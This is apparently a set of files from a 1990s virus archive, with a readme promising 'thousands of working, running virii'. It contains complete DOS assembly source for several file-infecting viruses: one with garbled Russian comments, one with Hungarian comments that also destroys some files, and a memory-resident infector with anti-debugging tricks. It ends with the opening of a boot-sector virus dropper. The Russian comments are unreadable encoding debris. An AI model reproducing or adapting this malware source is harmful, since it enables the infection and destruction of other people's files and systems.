; ‘®¡á⢥® £®¢®àï, ¤ «¥¥ ¨¤¥â "¨§î¬¨ª " ¢¨àãá - ¨§-§ ¥¥ ® ¨¬¥¥â â ª¨¥
|
||||
;¬ «ë¥ à §¬¥àë!ˆ â ª,çâ® ¦¥ íâ® :
|
||||
; ˆ§¢®«¨â¥ «¨ ¢¨¤¥âì ï ¢¥áì¬ «¥¨¢,¨ ¥ ®ç¥ì «î¡«î ¢®§¨âáï á â ª¨¬¨
|
||||
; àã⨠¬¨ ª ª áï⨥ ¨ ãáâ ®¢ª âਡã⮢,¯¥à¥¬¥é¥¨¥ ä ©«®¢®£® 㪠§ ⥫ï!
|
||||
; € ¯®á¥¬ã à ᪮¯ « ï ¢ãâà¥îî ¯®¤à®¡®áâì DOS' !
|
||||
; (Ž 㯮¬¨ ¥âáï ¢ à ¡®â¥ Š.ƒ.”¨®£¥®¢ "‘ ¬®ãç¨â¥«ì ¯® á¨áâ¥¬ë¬ äãªæ¨ï¬
|
||||
; MS-DOS" (áâà. 67) ( â ª ¦¥ ¢ í«¥ªâà®®¬ á¯à ¢®ç¨ª¥ Help PC)
|
||||
; (‚¯¥à¢ë¥ ¯à¨¬¥¥® ¢ RC-0-512 (666,Written by Dark Avenger.)
|
||||
; <20>â® SFT -- System File Table - (‘¨á⥬ ï â ¡«¨æ ®âªàëâëå ä ©«®¢.)
|
||||
;Ž ᮧ¤ ¥âáï ¤«ï ¢®¢ì ®âªàë¢ ¥¬®£® ä ©« ¨ ᮤ¥à¦¨â ¨ä®à¬ æ¨î ¨á¯®«ì§ã¥¬ãî
|
||||
;¥¯®á।á⢥® ¯à®æ¥¤ãà ¬¨ § ¯¨á¨/áç¨âë¢ ¨ï DOS' !!!
|
||||
;
|
||||
; ”Ž<E2809D>Œ€’ :
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||||
; ç « ¡«®ª .(„¥á.) ³ ³
|
||||
; ³ ³
|
||||
; 00 ³ 1w ³ Š®«-¢® ¤¥áªà¨¯â®à®¢ § ªà¥¯«¥ëå § ä ©«®¬
|
||||
; 02 ³ 1b ³ <20>¥¦¨¬ ¤®áâ㯠§ ¤ ë© ¯à¨ ¥£® ®âªàë⨨
|
||||
; 04 ³ 1b ³ €âਡãâë ä ©«
|
||||
; 11 ³ 1w ³ <20>®¬¥à ¯¥à¢®£® ª« áâ¥à ä ©«
|
||||
; 13 ³ 1w ³ ‚à¥¬ï ¯®á«¥¤¥© ¬®¤¨ä¨ª 樨 ä ©«
|
||||
; 15 ³ 1w ³ „ â ...
|
||||
; 17 ³ 2w ³ „«¨ ä ©«
|
||||
; 21 ³ 2w ³ “ª § â¥«ì ¢ ä ©«¥
|
||||
; 32 ³ 11b ³ ˆ¬ï ¨ à áè¨à¥¨¥ ä ©« (¡¥§ '.')
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
mov ax,1220h ; ‘¥© ãç áâ®ç¥ª ª®¤ ¯®§¢®«ï¥â
|
||||
push bx ; ¯®«ãç¨âì ¤à¥á SFT ¢ ¯ ॠES:DI
|
||||
int 2fh ;
|
||||
mov bl,es:[di] ;
|
||||
mov ax,1216h ;
|
||||
int 2fh ;
|
||||
pop bx ;
|
||||
mov byte ptr es:[di+2],02 ; ‚<>ˆŒ€<C592>ˆ…!<21>⨬ ¤¥©á⢨¥¬ ¬ë
|
||||
;ᤥ« «¨ â ª,ç⮠⥯¥àì DOS
|
||||
;áç¨â ¥â,çâ® ä ©« ®âªàëâ ¤«ï
|
||||
;§ ¯¨á¨/áç¨âë¢ ¨ï!
|
||||
; ’.¥. ¬ ¥ ¯® ¤®¡¨«®áì
|
||||
;ᨬ âì âਡãâë ä ©« !
|
||||
mov bp,es:[di+17] ; BP = file len!
|
||||
;---------------------------------------------
|
||||
; ’¥¯¥àì ¯à®¢¥à塞 ¡ ©âë ª®â®àë¥ áç¨â «¨ ¢ ¡ãä¥à.
|
||||
lodsb
|
||||
dec si
|
||||
cmp al,'M' ; MZ - ¯à¨§ ª ⮣®,çâ® íâ® .EXE ä ©«!
|
||||
jz _EXE
|
||||
cmp al,90h ; NOP - ¥á«¨ íâ® .COM ä ©« â® ¯à®¢¥à¨¬ ¥£®
|
||||
; ¯®¢â®àãî § à ¦¥®áâì!(‘¬®âà¨â¥ ¢ ç «®)
|
||||
_1d:
|
||||
jz exit_close
|
||||
;-Infect .COM --------------------------------
|
||||
; ’ ª § à ¦ îâ .COM ä ©«ë!
|
||||
xchg ax,bp
|
||||
cmp ax,65000
|
||||
ja exit_close ;„«¨ ¡®«ìè¥ ¤®¯ãá⨬®©.
|
||||
|
||||
mov es:[di+21],ax ;‘â ¢¨¬ ä ©«®¢ë© 㪠§ â¥«ì ¢
|
||||
;ª®¥æ ä ©« !
|
||||
;-Make JMP------------------------------------
|
||||
; ’.ª. ¯à¨ § à ¦¥¨¨ ¬ë ¢¯¨áë¢ ¥¬ ¢ ç «® .COM ä ©« ¯¥à¥å®¤ ⥫® ¢¨àãá â®
|
||||
;¬ë ¤®«¦ë ¢ëç¨á«¨âì ᬥ饨¥ í⮣® ¯¥à¥å®¤ !
|
||||
sub ax,04
|
||||
mov ds:[offset jmp_n-offset virr],ax
|
||||
call write_virus ; <20>¨è¥¬ ¢¨àãá ¢ ª®¥æ ä ©« !
|
||||
mov cx,04h ; € ⥯¥àì ¯¨è¥¬ ¢ ç «® ä ©« â®â á ¬ë©
|
||||
mov dx,offset new_3_byte-offset virr ; ¯¥à¥å®¤!
|
||||
exit_write:
|
||||
mov ah,40h
|
||||
int 21h
|
||||
_1b: jmp exit_date
|
||||
;-Sub. for write virus body (only) in file.----
|
||||
write_virus proc
|
||||
xor dx,dx
|
||||
mov ah,40h
|
||||
mov cx,offset ax_len-offset virr
|
||||
int 21h
|
||||
mov es:[di+21],dx ; F.P = start file!
|
||||
mov es:[di+23],dx
|
||||
cmp ax,cx
|
||||
jnz _1c
|
||||
ret
|
||||
_1c:
|
||||
pop ax
|
||||
jmp _1b ; exit_date!
|
||||
write_virus endp
|
||||
;-Infect .EXE ---------------------------------
|
||||
_EXE:
|
||||
; € ⥯¥àì ¢ëáç¨â ¥¬ ¤«¨ã ä ©« , ¨áå®¤ï ¨§ ¤ ëå § ¯¨á ëå ¢ § £®«®¢ª¥
|
||||
; .EXE ä ©« ! ˆ ¥á«¨ ® ¥ ᮩ¤¥âáï á § ¯¨á ®© ¢ SFT, â® ¬ë áç¨â ¥¬,çâ®
|
||||
; íâ® ä ©«, ᮤ¥à¦ 騩 ¥ï¢ë© ®¢¥à«¥© ¨ ¥ § à ¦ ¥¬ ¥£®!
|
||||
mov ax,ds:[si+4] ; Pages (512b).
|
||||
dec ax
|
||||
mov cx,512
|
||||
mul cx
|
||||
add ax,[si+2] ; AX = File len from header.
|
||||
cmp ax,bp ; Real file len = ax ?
|
||||
jnz _1b ; No - this is overlay.
|
||||
;-----
|
||||
mov es:[di+21],ax ; “ª § â¥«ì ¢ ª®¥æ ä ©« .
|
||||
mov es:[di+23],dx
|
||||
;-Get header.-----------------------------------
|
||||
; ‡ ¯®¬¨ ¥¬ ¤à¥á á ª®â®à®£® ¬ë ¡ã¤¥¬ § ¯ã᪠âì .EXE ¯à®£à ¬¬ã!
|
||||
mov ax,[si+14h]
|
||||
mov ds:[offset IP_file-offset virr],ax
|
||||
mov ax,[si+16h]
|
||||
mov ds:[offset CS_file-offset virr],ax
|
||||
;-----------------------------------------------
|
||||
; ‚ëç¨á«¨¬ ®¢ë© ¤à¥á (â.¥. ¤«ï § ¯ã᪠¢¨àãá ¯à¨ áâ à⥠¯à®£à ¬¬ë)
|
||||
xchg ax,bp
|
||||
mov cx,10h
|
||||
div cx
|
||||
sub ax,[si+8]
|
||||
sbb dx,0
|
||||
mov [si+16h],ax ; ReloCS.
|
||||
mov [si+14h],dx ; ExeIP.
|
||||
;-Correcting file len in header.----------------
|
||||
;’¥¯¥àì ®âª®à४â¨à㥬 ¤«¨ã ¢ § £®«®¢ª¥ .EXE ä ©« !
|
||||
;(<28><>…„“<E2809E><E2809C>…†„€ž!„«¨ ¢¨àãá = 385 , ¬ë 㢥«¨ç¨¢ ¥¬ ¤«¨ã ä ©« ¢ § £®«®¢ª¥
|
||||
; ¥ 385 , 512!!!’.¥. ⥯¥àì ¤à㣨¥ "ã¬ë¥ ¢¨àãáë" ¥ ¡ã¤ãâ § à ¦ âì
|
||||
; íâ®â ä ©«).‘®¡á⢥® £®¢®àï í⠮ᮡ¥®áâì ï¥âáï ¯à¨§ ª®¬ § à ¦¥¨ï,-
|
||||
; ¬ë ¢¥¤ì ¥ § à ¦ ¥¬ ®¢¥à«¥¨!
|
||||
inc word ptr ds:[si+4]
|
||||
;-Write virus to file.--------------------------
|
||||
call write_virus
|
||||
;-Write new header.-----------------------------
|
||||
mov cx,18h
|
||||
mov dx,si ; DX = offset header.
|
||||
jmp exit_write ; <20>®¤£®â®¢¨¢ ¢á¥ ª § ¯¨á¨ ¨á¯à ¢«¥®£®
|
||||
;§ £®«®¢ª ¬ë ¯¥à¥¤ ¥¬ ã¯à ¢«¥¨¥ ¯àאַ
|
||||
; ª®¬ ¤ã int 21h!
|
||||
;----------------------------------------------
|
||||
inst_int proc
|
||||
mov ah,35h
|
||||
int 21h
|
||||
mov ds:[si],bx
|
||||
mov ds:[si+2],es
|
||||
mov ah,25h
|
||||
int 21h
|
||||
ret
|
||||
inst_int endp
|
||||
new_3_byte db 90h ; NOP
|
||||
db 0e9h ; JMP nn
|
||||
jmp_n dw 0000 ; nn
|
||||
;-Header for EXE file & buffer for first 5 bytes COM's file.--
|
||||
origin_2_byte:
|
||||
header:
|
||||
db 4 dup (90h) ; NOPs
|
||||
ax_len db ?
|
||||
db 20h dup (?) ; For EXE header.
|
||||
ofs_24h dw ?
|
||||
seg_24h dw ?
|
||||
;********************************************************
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
;-- Written by Light General.Kiev.1995.For free use! ----
|
|
@ -0,0 +1,19 @@
|
|||
|
||||
Rhys' Virii Archives:
|
||||
~~~~~~~~~~~~~~~~~~~~~~~
|
||||
This is one of many ZIP archive files that, all together, contain
|
||||
literally thousands of working, running virii. Enjoy.
|
||||
|
||||
Please note that I have safely kept these on my hard drive as
|
||||
uncompressed program files and have yet to be infected by one
|
||||
of these.
|
||||
|
||||
All you must do to avoid infection is make sure that no idiot
|
||||
runs these.
|
||||
|
||||
These virii are for educational uses only. I will not be
|
||||
responsible for what you do with these.
|
||||
|
||||
Once again, Enjoy!
|
||||
|
||||
-Rhys
|
|
@ -0,0 +1,230 @@
|
|||
PAGE ,132
|
||||
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:VIRUS,DS:VIRUS
|
||||
|
||||
HOSSZ EQU VEG-KEZDET
|
||||
KEZDET EQU $
|
||||
|
||||
INDIT: PUSH CX
|
||||
TBLC: MOV DX,OFFSET TABL
|
||||
CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
|
||||
MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
|
||||
ADD SI,OFFSET FILKEZ-TABL
|
||||
MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
|
||||
MOV CX,3
|
||||
REPZ MOVSB
|
||||
MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME
|
||||
MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE
|
||||
INT 21H
|
||||
CMP AL,0 ; MEG AZ 1.X VERZIO?
|
||||
JNZ IND1 ; NEM
|
||||
JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI
|
||||
IND1: PUSH ES ; ES ELMENTESE
|
||||
MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE
|
||||
INT 21H ; ES ELTAROLASA A TABLAZATBAN
|
||||
MOV WORD PTR [SI+DTACIM-TABL],BX
|
||||
MOV WORD PTR [SI+DTACIM-TABL+2],ES
|
||||
POP ES ; ES VISSZAOLVASASA
|
||||
MOV DX,UJDTA-TABL
|
||||
ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES ; REGISZTEREK ELMENTESE
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH ; A DOS KORNYEZET CIME
|
||||
MOV DI,0 ; ELEJETOL
|
||||
IND3: POP SI ; SI VISSZAOLVASASA
|
||||
PUSH SI ; ES VISSZAIRASA
|
||||
ADD SI,OFFSET SZOVEG-TABL
|
||||
LODSB ; EGY KARAKTER BETOLTESE
|
||||
MOV CX,8000H ; A KORNYEZET MAX. 32K
|
||||
REPNZ SCASB ; AZ ELSO KARAKTER KERESESE
|
||||
MOV CX,OFFSET FSPEC-SZOVEG-1
|
||||
IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA
|
||||
SCASB ; ES ELLENORZESE
|
||||
JNZ IND3 ; NEM EGYEZIK
|
||||
LOOP IND4 ; FOLYTATNI
|
||||
POP SI ; A REGISZTEREK VISSZAALLITASA
|
||||
POP ES
|
||||
MOV [SI+UTCIM-TABL],DI
|
||||
MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME
|
||||
ADD DI,OFFSET FSPEC-TABL
|
||||
MOV BX,SI ; SI ELMENTESE BX-BE
|
||||
ADD SI,OFFSET FSPEC-TABL
|
||||
MOV DI,SI
|
||||
JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
|
||||
INDE: CMP WORD PTR [SI+UTCIM-TABL],0
|
||||
JNZ IND6 ; VAN MEG TOBB UT
|
||||
JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT
|
||||
IND6: PUSH DS ; A REGISZTEREK ELMENTESE
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE
|
||||
MOV DI,SI ; DI A TABLAZATRA MUTAT
|
||||
MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
|
||||
ADD DI,OFFSET FSPEC-TABL
|
||||
IND8: LODSB ; EGY KARAKTER BETOLTESE
|
||||
CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL
|
||||
JZ IND9 ; ANNAK A KODJA
|
||||
CMP AL,0 ; A LEZARO NULLA?
|
||||
JZ INDA ; AZ A KOD
|
||||
STOSB ; ELTAROLAS
|
||||
JMP SHORT IND8 ; FOLYTATNI
|
||||
INDA: MOV SI,0 ; TOBB UT NEM LETEZIK
|
||||
IND9: POP BX ; BX A TABLAZAT KEZDOCIME
|
||||
POP DS ; DS VISSZAALLITASA
|
||||
MOV [BX+UTCIM-TABL],SI
|
||||
CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA?
|
||||
JZ IND5 ; IGEN
|
||||
MOV AL,5CH ; A '\' KODJA
|
||||
STOSB ; ELTAROLASA
|
||||
IND5: MOV [BX+FAKT-TABL],DI
|
||||
MOV SI,BX ; A TABLAZAT KEZDOCIME BX
|
||||
ADD SI,OFFSET FKER-TABL ; KERESO NEV
|
||||
MOV CX,OFFSET UTCIM-FKER
|
||||
REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA
|
||||
MOV SI,BX ; SI A TABLAZAT KEZDOCIME
|
||||
MOV AH,4EH ; FILE KERESESE
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
MOV CX,11B ; A KERESETT ATTRIBUTUM
|
||||
INT 21H
|
||||
JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI
|
||||
INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE
|
||||
INT 21H
|
||||
INDC: JNC INDD ; MEGTALALTUK
|
||||
JMP INDE ; NINCS ITT TOBB HASONLO
|
||||
INDD: MOV AX,[SI+UJDTA-TABL+22]
|
||||
AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
|
||||
CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/
|
||||
JZ INDF ; IGEN, TOVABB KELL KERESNI
|
||||
CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
|
||||
JA INDF ; TUL NAGY FILE, NEM FERTOZHETO
|
||||
CMP WORD PTR [SI+UJDTA-TABL+26],0AH
|
||||
JB INDF ; TUL KICSI FILE
|
||||
MOV DI,[SI+FAKT-TABL]
|
||||
PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE
|
||||
ADD SI,OFFSET UJDTA-TABL+30
|
||||
INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
|
||||
STOSB
|
||||
CMP AL,0 ; A NEV ZARO NULLA?
|
||||
JNZ INDG ; NEM, FOLYTATNI
|
||||
POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
|
||||
MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
MOV [SI+FILATT-TABL],CX
|
||||
MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA
|
||||
DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
JNC INDH ; NINCS HIBA
|
||||
JMP INDK ; HIBA TORTENT
|
||||
INDH: MOV BX,AX ; A FILESZAM ATVITELE
|
||||
MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA
|
||||
INT 21H ; ES BEALLITASA
|
||||
MOV [SI+FILIDO-TABL],CX
|
||||
MOV [SI+FILDAT-TABL],DX
|
||||
MOV AH,2CH ; A RENDSZERIDO BEOLVASASA
|
||||
INT 21H
|
||||
AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL?
|
||||
JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK
|
||||
MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
|
||||
MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU
|
||||
MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT
|
||||
ADD DX,OFFSET RESET-TABL
|
||||
INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
|
||||
JMP INDJ ; ENNEK MAR BEVEGEZTETETT
|
||||
INDI: MOV AH,3FH ; OLVASAS A FILEBOL
|
||||
MOV CX,3 ; AZ ELSO HAROM BYTE
|
||||
MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE
|
||||
ADD DX,SI
|
||||
INT 21H ; BEOLVASNI
|
||||
JC INDJ ; HIBA TORTENT
|
||||
CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA?
|
||||
JNZ INDJ ; NEM, HIBA VOLT
|
||||
MOV AX,4202H ; MUTATO A FILE VEGERE
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JC INDJ ; TORTENT HIBA?
|
||||
MOV CX,AX ; A FILE HOSSZA
|
||||
SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
|
||||
MOV [SI+UJKEZ-TABL+1],AX
|
||||
ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
|
||||
MOV DI,SI ; A TABLAZAT KEZDETE
|
||||
SUB DI,OFFSET TABL-TBLC-1
|
||||
MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE
|
||||
MOV AH,40H ; KIIRAS A FILE-BA
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||||
MOV DX,SI ; A TABLAZAT KEZDOCIME
|
||||
SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA
|
||||
INT 21H ; KIIRAS
|
||||
JC INDJ ; HIBA TORTENT
|
||||
CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT?
|
||||
JNZ INDJ ; NEM
|
||||
MOV AX,4200H ; MUTATO A FILE ELEJERE
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JC INDJ ; HIBA TORTENT?
|
||||
MOV AH,40H ; KIIRAS A FILE-BA
|
||||
MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA
|
||||
MOV DX,SI
|
||||
ADD DX,OFFSET UJKEZ-TABL
|
||||
INT 21H ; KIIRAS
|
||||
INDJ: MOV DX,[SI+FILDAT-TABL]
|
||||
MOV CX,[SI+FILIDO-TABL]
|
||||
DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H
|
||||
OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC
|
||||
MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA
|
||||
INT 21H ; ES A FERTOZES JELZESE
|
||||
MOV AH,3EH ; FILE LEZARASA
|
||||
INT 21H
|
||||
INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA
|
||||
MOV CX,[SI+FILATT-TABL]
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
IND7: PUSH DS ; DS ELMENTESE
|
||||
MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA
|
||||
MOV DX,WORD PTR [SI+DTACIM-TABL]
|
||||
MOV DS,WORD PTR [SI+DTACIM-TABL+2]
|
||||
INT 21H
|
||||
POP DS ; DS VISSZAALLITASA
|
||||
IND2: POP CX
|
||||
XOR AX,AX ; AX=0
|
||||
XOR BX,BX ; BX=0
|
||||
XOR DX,DX ; DX=0
|
||||
XOR SI,SI ; SI=0
|
||||
MOV DI,100H ; 100H A VEREMBE
|
||||
PUSH DI
|
||||
XOR DI,DI ; DI=0
|
||||
RET 0FFFFH
|
||||
|
||||
TABL EQU $
|
||||
|
||||
DTACIM DD 0
|
||||
FILIDO DW 0
|
||||
FILDAT DW 0
|
||||
FILATT DW 0
|
||||
FILKEZ DB 0,0,0
|
||||
UJKEZ DB 0,0,0
|
||||
FKER DB '*.COM',0
|
||||
UTCIM DW 0
|
||||
FAKT DW 0
|
||||
SZOVEG DB 'PATH='
|
||||
FSPEC DB 40H DUP(' ')
|
||||
UJDTA DB 2BH DUP(0)
|
||||
RESET DB 0EAH,0F0H,0FFH,0,0F0H
|
||||
|
||||
VEG EQU $
|
||||
|
||||
VIRUS ENDS
|
||||
|
||||
END
|
Binary file not shown.
|
@ -0,0 +1,147 @@
|
|||
start:
|
||||
and al,21h
|
||||
|
||||
;anti_disassembler & anti_debugger
|
||||
mov cx,09ebh
|
||||
mov ax,0fe05h
|
||||
jmp $-2
|
||||
add ah,03bh
|
||||
jmp $-10
|
||||
|
||||
;anti_debugger
|
||||
mov ax,3503h ;save int 3h in bx
|
||||
int 21h ;do it
|
||||
mov ah,25h ;set new int 3h...
|
||||
mov dx,offset new_int_3 ;...to new_int_3
|
||||
int 21h ;do it
|
||||
xchg bx,dx ;exchange bx,dx (restore original int 3h)
|
||||
int 21h ;do it
|
||||
|
||||
|
||||
;anti_vsafe
|
||||
mov ax,0f9f2h
|
||||
add ax,10h
|
||||
mov dx,5935h
|
||||
add dx,10h
|
||||
mov bl,10h
|
||||
sub bl,10h
|
||||
int 16h
|
||||
|
||||
|
||||
mov ah,9h ;write string
|
||||
mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden.
|
||||
int 21h ;do it
|
||||
|
||||
|
||||
mov ax,9999h ;put 9999h in ax (for resident test)
|
||||
int 21h ;do it
|
||||
|
||||
cmp bx,9999h ;compare bx,9999h
|
||||
je already_there ;if bx=9999h, we are already resident and goto already_there
|
||||
jmp makemegotsr ;else goto makemegotsr
|
||||
|
||||
already_there: ;already resident
|
||||
int 20h ;exit
|
||||
|
||||
|
||||
makemegotsr:
|
||||
mov ax,3521h ; get int 21h
|
||||
int 21h ;do it
|
||||
mov word ptr cs:old21,bx ; save old int 21h
|
||||
mov word ptr cs:old21+2,es ;... save
|
||||
mov dx,offset new21 ; new int 21 comes to offset new21
|
||||
mov ax,2521h ; set new int 21h
|
||||
int 21h ; do it
|
||||
push cs ; push it
|
||||
pop ds ; pop it
|
||||
mov dx,offset endvir ; put everything of us in memory
|
||||
int 27h ; do it
|
||||
|
||||
|
||||
new21: pushf ;new int 21
|
||||
cmp ax,9999h ;resident test ???
|
||||
jnz no_installation_check ;if no test goto no_install_check
|
||||
xchg ax,bx ;if resident test, put 9999h in bx
|
||||
no_installation_check: ;no_install_check
|
||||
cmp ax,4b00h ;is there something executed?
|
||||
jz infect ;yes, goto infect
|
||||
jmp short end21 ;no, jmp to normal old int 21h
|
||||
|
||||
infect: ;infect the executed file
|
||||
mov ax,4301h ;set attributes
|
||||
xor cx,cx ;to 0
|
||||
int 21h ;do it
|
||||
|
||||
mov ax,3d02h ;open file
|
||||
int 21h ;do it
|
||||
mov bx,ax ;put ax in bx, or.. xchg ax,bx.. but that doesn't work here
|
||||
push ax ;push all
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,4200h ;seek
|
||||
xor cx,cx ;at beginning of tha file
|
||||
cwd
|
||||
int 21h ;do it
|
||||
|
||||
mov cx,offset endvir-offset start ;how much bytes to write
|
||||
mov ah,40h ;write
|
||||
mov dx,offset start ;from offset start
|
||||
int 21h ;do it
|
||||
|
||||
cwd ; set date/time
|
||||
xor cx,cx ; to zero
|
||||
mov ax,5701h ;function for date/time
|
||||
int 21h ;do it
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h ;do it
|
||||
|
||||
mov ah,2ah ;get date
|
||||
int 21h ;do it
|
||||
cmp dh,4 ;compare month(dh) with 4
|
||||
jne not_my_birthday ;not the 4th month, goto not_my_birthday
|
||||
monat_ok:cmp dl,21 ;else compare day(dl) with 21
|
||||
jne not_my_birthday ;not the 21th, goto not_my_birthday
|
||||
tag_ok:mov ah,9h ;if it is the 21.April write message
|
||||
mov dx,offset text ;of offset text
|
||||
int 21h ;do it
|
||||
mov ah,00h ;wait until keypressed
|
||||
int 16h ;do it
|
||||
jmp restore ;goto restore (tha registers)
|
||||
|
||||
not_my_birthday: ;if it is not_my_birthday
|
||||
mov ah,9h ;write message
|
||||
mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden. (English: Bad command or filename.)
|
||||
int 21h ;do it
|
||||
|
||||
|
||||
restore:
|
||||
pop ds ; pop all
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
end21: popf ; pop far
|
||||
db 0eah ; jmp far (?)
|
||||
|
||||
old21 dw 0,0 ; where to store the old INT21
|
||||
text: db'ReIncanation written by Spooky. Austria 1996',0dh,0ah,'$' ;message for debugger or date 21.April
|
||||
file_not_found: db'Befehl oder Dateiname nicht gefunden.',0dh,0ah,'$' ;message file not found
|
||||
new_int_3: ;new interrupt 3h for the debugger
|
||||
mov ah,9h ;write string to standard output
|
||||
mov dx,offset text ;text to write
|
||||
int 21h ;do it
|
||||
mov ah,00h ;wait until keypressed
|
||||
int 16h ;do it
|
||||
int 20h ;-> terminate debugging
|
||||
|
||||
|
||||
endvir label byte ; End of file
|
||||
|
||||
end start
|
|
@ -0,0 +1,717 @@
|
|||
;**********************************************************************************************
|
||||
;* *
|
||||
;* FILE: DROP_REP.ASM (c) 1993 *
|
||||
;* PURPOSE: Dropper containing REPLICATOR boot sector virus *
|
||||
;* AUTHOR: Willoughby DATE: 04/19/93 *
|
||||
;* *
|
||||
;**********************************************************************************************
|
||||
;
|
||||
;------------------------------------------ EQUATES -------------------------------------------
|
||||
;
|
||||
AT_TAG EQU 0FC
|
||||
BAD_TAG EQU 0BAD
|
||||
BIOS13_OFFSET EQU 004C
|
||||
BIOS13_SEGMENT EQU 004E
|
||||
BIOS40_SEGMENT EQU 0103
|
||||
BPB_NUM_SECT EQU 013
|
||||
CLEAR EQU 00
|
||||
INF_TAG1 EQU 0ABCD
|
||||
INF_TAG2 EQU 0CDEF
|
||||
MEM_SIZE EQU 0413
|
||||
MOTOR_ON EQU 043F
|
||||
PARTITION_OFFSET EQU 01BE
|
||||
ROM_SEGMENT EQU 0F0
|
||||
SET EQU 0BB
|
||||
SYS_ID_OFFSET EQU 0FFFE
|
||||
SYS_ID_SEGMENT EQU 0F000
|
||||
;
|
||||
;---------------------------------------- MAIN PROGRAM ----------------------------------------
|
||||
;
|
||||
CODE SEGMENT
|
||||
;
|
||||
;----------------------------
|
||||
;Dropper for REPLICATOR virus
|
||||
;----------------------------
|
||||
;
|
||||
DROPPER:
|
||||
;
|
||||
;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT
|
||||
;or better). If not, skip the trigger date check/storage process and store "BAD" tag for
|
||||
;the benefit of the REPLICATOR infection analysis program (a future release).
|
||||
;
